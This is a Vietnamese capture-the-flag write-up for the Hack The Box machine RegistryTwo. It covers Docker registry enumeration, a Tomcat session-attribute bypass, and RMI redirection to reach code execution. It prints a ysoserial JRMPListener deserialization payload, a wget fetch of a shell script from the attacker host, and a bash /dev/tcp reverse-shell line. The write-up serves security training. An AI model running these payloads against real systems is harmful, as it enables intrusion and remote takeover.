RegistryTwo

Enumeration

Zenmap:

Docker Registry

Kiểm tra 2 port 5000 và 5001, một website trắng và một website yêu cầu xác thực.
Tìm kiếm Docker Registry (API: 2.0) tôi thấy: Pentesting docker registry Docker Registry v2 Bearer token specification
Dựa vào những điều trên, tôi bắt đầu khai thác như sau:
PS D:\thehackbox\Machines\RegistryTwo> curl.exe -k --location 'https://www.webhosting.htb:5000/v2/_catalog'
{
   "errors": [
      {
         "code": "UNAUTHORIZED",
         "message": "authentication required",
         "detail": [
            {
               "Type": "registry",
               "Class": "",
               "Name": "catalog",
               "Action": "*"
            }
         ]
      }
   ]
}
PS D:\thehackbox\Machines\RegistryTwo> curl.exe -k --location 'https://webhosting.htb:5001/auth?service=Docker+registry&scope=registry:catalog:*'
{
   "access_token": "<ACCESS_TOKEN>",
   "token": "<TOKEN>"
}
PS D:\thehackbox\Machines\RegistryTwo> curl.exe -k --location 'https://www.webhosting.htb:5000/v2/_catalog' --header 'Authorization: Bearer <TOKEN>'
{
   "repositories": [
      "hosting-app"
   ]
}
PS D:\thehackbox\Machines\RegistryTwo> curl.exe -k --location 'https://webhosting.htb:5001/auth?service=Docker+registry&scope=repository:hosting-app:pull'
{
   "access_token": "<ACCESS_TOKEN>",
   "token": "<TOKEN>"
}
PS D:\thehackbox\Machines\RegistryTwo> curl.exe -k --location 'https://webhosting.htb:5000/v2/hosting-app/manifests/latest' --header 'Authorization: Bearer <TOKEN>'
{
   "schemaVersion": 1,
   "name": "hosting-app",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
...........
      {
         "blobSum": "sha256:ff3a5c916c92643ff77519ffa742d3ec61b7f591b6b7504599d95a4a41134e28"
      }
   ],
   "history": [
............      
   ],
   "signatures": [
............
   ]
}
PS D:\thehackbox\Machines\RegistryTwo> curl.exe -k --location 'https://webhosting.htb:5000/v2/hosting-app/blobs/sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4' --header 'Authorization: Bearer <TOKEN>' --output blob1.tar
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    32  100    32    0     0     18      0  0:00:01  0:00:01 --:--:--    18
PS D:\thehackbox\Machines\RegistryTwo>

Bây giờ tôi đã có được file tar đầu tiên, kiểm tra nó. Sau đó để lấy hết tất cả các file về tôi sử dụng công cụ: DockerRegistryGrabber

Nhưng công cụ này chỉ hỗ trợ username và password không hỗ trợ authorization. Mở source code ra và sửa lại nó: Docker graber new

PS D:\thehackbox\Machines\RegistryTwo\DockerRegistryGrabber> python.exe .\DockerGraberNew.py  https://www.webhosting.htb -A <TOKEN> --list
[+]======================================================[+]
[|]    Docker Registry Grabber v1       @SyzikSecu       [|]
[+]======================================================[+]

<Response [200]>
[+] hosting-app
PS D:\thehackbox\Machines\RegistryTwo\DockerRegistryGrabber> python.exe .\DockerGraberNew.py  https://www.webhosting.htb -A <TOKEN> --dump_all
[+]======================================================[+]
[|]    Docker Registry Grabber v1       @SyzikSecu       [|]
[+]======================================================[+]

<Response [200]>
<Response [200]>
[+] BlobSum found 36
[+] Dumping hosting-app
<Response [200]>
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
<Response [200]>
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
...........
<Response [200]>
    [+] Downloading : ff3a5c916c92643ff77519ffa742d3ec61b7f591b6b7504599d95a4a41134e28
PS D:\thehackbox\Machines\RegistryTwo\DockerRegistryGrabber>

Tomcat

Mở những file zip mà tôi vừa lấy được. tôi thấy:

Website sử dụng tomcat để chạy và nó có những trang trên, tại đây tôi truy cấp được vào path hosting mà không thể truy cập được vào những path khác.
Decode file hosting.war bằng jdGui: JD-Gui
Sourcode của hosting.war hiển thị cho tôi, tôi biết rằng mình có thể đọc được nó, và cố gắng tìm kiếm một lỗ hổng có thể sảy ra trong source code này. Những thật không may, tôi không thể tìm được một lỗ hổng nào khác trong source code.
Chuyển qua pentest Tomcat: Tomcat pentesting
Từ điều này tôi có thể sử dụng để truy cập các trang web khác:
Từ đây tôi truy cập source code
Nhìn source code tôi biết rằng mình có thể add bất kỳ attribute nào với giá trị bất kỳ tại:
Trước đó tôi đã có một khoảng thời gian dài nghiên cứu source code:
@WebServlet(name = "reconfigure", value = {"/reconfigure"})
public class ConfigurationServlet extends AbstractServlet {
  private static final long serialVersionUID = -2336661269816738483L;
  
  public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
    if (!checkManager(request, response))
      return; 
    RequestDispatcher rd = request.getRequestDispatcher("/WEB-INF/jsp/configuration.jsp");
    rd.include((ServletRequest)request, (ServletResponse)response);
  }
  
  public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
    if (!checkManager(request, response))
      return; 
    Map<String, String> parameterMap = new HashMap<>();
    request.getParameterMap().forEach((k, v) -> parameterMap.put(k, v[0]));
    Settings.updateBy(parameterMap);
    RequestDispatcher rd = request.getRequestDispatcher("/WEB-INF/jsp/configuration.jsp");
    request.setAttribute("message", "Settings updated");
    rd.include((ServletRequest)request, (ServletResponse)response);
  }
  
  private static boolean checkManager(HttpServletRequest request, HttpServletResponse response) throws IOException {
    boolean isManager = (request.getSession().getAttribute("s_IsLoggedInUserRoleManager") != null);
    if (!isManager)
      response.sendRedirect(request.getContextPath() + "/panel"); 
    return isManager;
  }
  
  public void destroy() {}
}
Tôi biết rằng để truy cập vào trang /reconfigure thì Attribute s_IsLoggedInUserRoleManager phải có giá trị true. Đặt nó thành true
Ngay bây giờ, tôi đã có quyền truy cập vào reconfigure:

RMI

Nhìn vào sourcode doPost tôi biết rằng mình có thể đặt lại configure bất kỳ:
request.getParameterMap().forEach((k, v) -> parameterMap.put(k, v[0]));
Từ đây tôi biết rằng mình có thể đặt lại IP của rmi server để trỏ tới máy tính của mình. Nhưng:
public class RMIClientWrapper {
  private static final Logger log = Logger.getLogger(com.htb.hosting.rmi.RMIClientWrapper.class.getSimpleName());
  
  public static FileService get() {
    try {
      String rmiHost = (String)Settings.get(String.class, "rmi.host", null);
      if (!rmiHost.contains(".htb"))
        rmiHost = "registry.webhosting.htb"; 
      System.setProperty("java.rmi.server.hostname", rmiHost);
      System.setProperty("com.sun.management.jmxremote.rmi.port", "9002");
      log.info(String.format("Connecting to %s:%d", new Object[] { rmiHost, Settings.get(Integer.class, "rmi.port", Integer.valueOf(9999)) }));
      Registry registry = LocateRegistry.getRegistry(rmiHost, ((Integer)Settings.get(Integer.class, "rmi.port", Integer.valueOf(9999))).intValue());
      return (FileService)registry.lookup("FileService");
    } catch (Exception e) {
      e.printStackTrace();
      throw new RuntimeException(e);
    } 
  }
}
Tôi thấy rằng rmiHost được kiểm tra xem có tồn tại ".htb" không. Tôi nghĩ rằng mình có thể bỏ qua nó:
Sau khi gửi, reload lại website hay bất kỳ chức năng nào gọi rmi server, tôi đều nhận được kết nối tới máy mình:
Tìm kiếm các phương pháp khai thác và tôi tìm được điều sau: Arbitrary Remote Code Execution in RMIRegistryExploit

Gaining access app

PS D:\thehackbox\Machines\RegistryTwo> more .\shell
#!/bin/bash
bash -i >& /dev/tcp/<IP Attack>/8888 0>&1

PS D:\thehackbox\Machines\RegistryTwo> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.*8.** - - [24/Jul/2023 13:32:56] "GET /shell HTTP/1.1" 200 -

#--------------------------------------------
PS D:\thehackbox\Machines\RegistryTwo> java.exe -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 9002 CommonsCollections6 "wget http://<IP Attack>/shell -O /tmp/shell"
* Opening JRMP listener on 9002
Have connection from /10.129.**.**:43778
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection
Sau khi upload code lên thành công, tôi thực thi nó:
PS D:\thehackbox\Machines\RegistryTwo> java.exe -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 9002 CommonsCollections6 "/bin/bash /tmp/shell"
* Opening JRMP listener on 9002
Have connection from /10.129.**.**:58400
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection

#-------------------------------------------
PS D:\thehackbox\Machines\RegistryTwo> ncat.exe -l 8888
bash-4.4$ id
id
uid=1000(app) gid=1000(app) groups=1000(app)
bash-4.4$
Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post